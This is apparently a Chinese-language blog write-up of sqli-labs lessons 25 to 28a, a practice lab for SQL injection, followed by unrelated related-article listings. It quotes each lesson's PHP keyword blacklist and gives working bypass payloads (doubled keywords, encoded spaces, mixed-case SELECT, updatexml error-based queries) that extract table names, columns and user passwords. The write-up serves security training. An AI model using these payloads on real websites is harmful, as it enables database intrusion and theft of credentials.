less-25AND OR 过滤

less-25a基于Bool_GET_过滤AND/OR_数字型_盲注

less-26过滤了注释和空格的注入

less-26a过滤了空格和注释的盲注

less-27过滤了union和select的

less-27a过滤了union和select的盲注

less-28有括号的单引号字符型,过滤了union和select等的注入

less-28a有括号的单引号字符型,过滤了union和select等的注入盲注

less-25

过程:

  1. 先看页面返回信息

  2. 单引号闭合

  3. 查询字段个数时出现问题

order by结果报错就只剩下了der by,题目上显示or and and belong to us说明输入的or和and过滤掉了。 可以尝试双写绕过

  • or->oror
  • and-> anandd

源码:

$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return $id;
} 这里将id中的or和and都转化为空

之后

  • ?id=1' oorrder by 4 --+得字段为3.
  • ?id=' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema="security"),3 --+ 爆表
  • ?id= ' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema="security" aandnd table_name="users"),3 --+ 爆字段
  • ?id= ' union select 1,(select concat(username, passwoorrd) from users limit 0,1),3 --+ 爆值

less-25a

less-26

先看源码

function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
这是一个黑名单,把能用到的常见的全都过滤了

我试着输入这些

?id=%231  //过滤了#

?id=or1  //过滤了or

?id=/*1  //过滤了多行注释  

?id=--1  //过滤了单行注释

?id=/1  //过滤了斜杠

?id=1' ' '  //过滤了空格

?id=\  //过滤了反斜杠

py下大佬,给了四种注入方式

    一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用union加空格连接select联合注入。
二:因错误回显是 MySQL 错误信息,可利用报错注入即 Less 17 中提到的几种方法,首选是updatexml()注入与extractvalue()注入,因其他方法仍不能避开空格的使用。
三:基于 Bool 盲注,构造注入语句避开空格。
四:基于 延时盲注,构造注入语句避开空格。

第一种

url编码%26是运算符&,下面的%26%26换成运算符||也是可以的,但不能直接用&&

less-26a

less-27

源码:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
} 黑名单里的东西更多

在黑名单中,发现没有过滤大小写的语句。题目就仅仅只会过滤select,SELECT,Select,而当我们输入一个SelEcT的时候,就不会过滤

/m是多行匹配,/s是空白符匹配

过程:

  1. 使用url编码 注释符被过滤可以用;%00 select查询时使用()代替空格做分割

  • ?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(table_name)) from(information_schema.tables)where(table_schema="security"))),1);%00
  • ?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(column_name)) from(information_schema.columns)where(table_name="users"%26%26table_schema="security"))),1);%00
  • ?id=1' %26%26 updatexml(1,concat('~~',(SelEct(group_concat(password)) from(users))),1);%00

less-27a

盲注

less-28

less-28a

题目的界面上说不能使用union和select

但是我们可以想办法绕过

源码:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}

过滤了/*,--,#,空格,以及不区分大小写的union+select

过程:

  1. 空格用%a0代替(在某不知名大佬那里了解到新的绕过空格姿势 /%0a/ )

  2. 大小写绕过

  • ?id=0%27)%a0uNion%a0sElect(1),(database()),(%273

sqli-labs lexx25-28a(各种过滤)的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  6. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  7. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  8. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  9. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. Python 自定义模块位置

    1.需要找出Python解释器从哪里查找模块: 具体方法: >>> import sys,pprint>>> pprint.pprint(sys.path)['', ...

  2. 解决NUC972使用800*480屏幕时,tslib触摸屏校准时,坐标不对称问题

    1.ADC_CONF寄存器中的ADCSAMPCNT的值,设置计数器值以延长ADC起始信号周期以获得更多采样精确转换的时间 2.内核驱动配置好触摸屏ADC的驱动后,调整autoconfig.h中的CON ...

  3. 基于Opencv识别,矫正二维码(C++)

    参考链接 [ 基于opencv 识别.定位二维码 (c++版) ](https://www.cnblogs.com/yuanchenhui/p/opencv_qr.html) OpenCV4.0.0二 ...

  4. metasploit2 - vsftpd 漏洞攻击和拿shell

    一.环境说明 目标IP: 本人虚拟机 192.168.80.134 ,使用 metasploit2 攻击IP: 本人虚拟机 192.168.80.129 ,使用 kali Metasploitable ...

  5. 深度分析:java设计模式中的原型模式,看完就没有说不懂的

    前言 原型模式(Prototype模式)是指:用原型实例指定创建对象的种类,并且通过拷贝这些原型,创建新的对象 原型模式是一种创建型设计模式,允许一个对象再创建另外一个可定制的对象,无需知道如何创建的 ...

  6. 利用MathType在Word里输入几何符号的技巧

    通过学习几何学的知识,我们发现其中包含的几何符号有很多,比如有表示图形的符号,如三角形,平行四边形,圆,角,圆弧等:还有表示位置关系的符号,如平行,垂直等:还有表示矢量等其他符号,那这些符号怎么打出来 ...

  7. 用思维导图软件iMindMap来提高记忆

    虽说人的大脑是强大的存储器,但是我们终究没有挖掘出大脑全部的潜能,在记忆时或许因为方式.或许是干扰因素都能够影响我们的记忆力,致使有心无力,快来让思维导图来拯救你的记忆吧. 记忆是经验的关键,思维导图 ...

  8. 接上一篇:(三) Spring环境搭建

    3.1.获取 Spring framework jar 包 (一) spring官网下载 (二)spring的核心包 (三) 配置 XML 1. 新建立一个 xml.名字任意,如 applicatio ...

  9. java实验作业类的定义与描述

    1 //1三角形的定义与描述 2 package test; 3 4 public class sjx { 5 private double a,b,c; 6 7 public sjx(double ...

  10. if判断 和while、for循环

    if判断 语法一: if     条件: 条件成立时执行子代码块 代码1 代码2 实例一: sex='female' age=18 is_beautifui=True if sex=='female' ...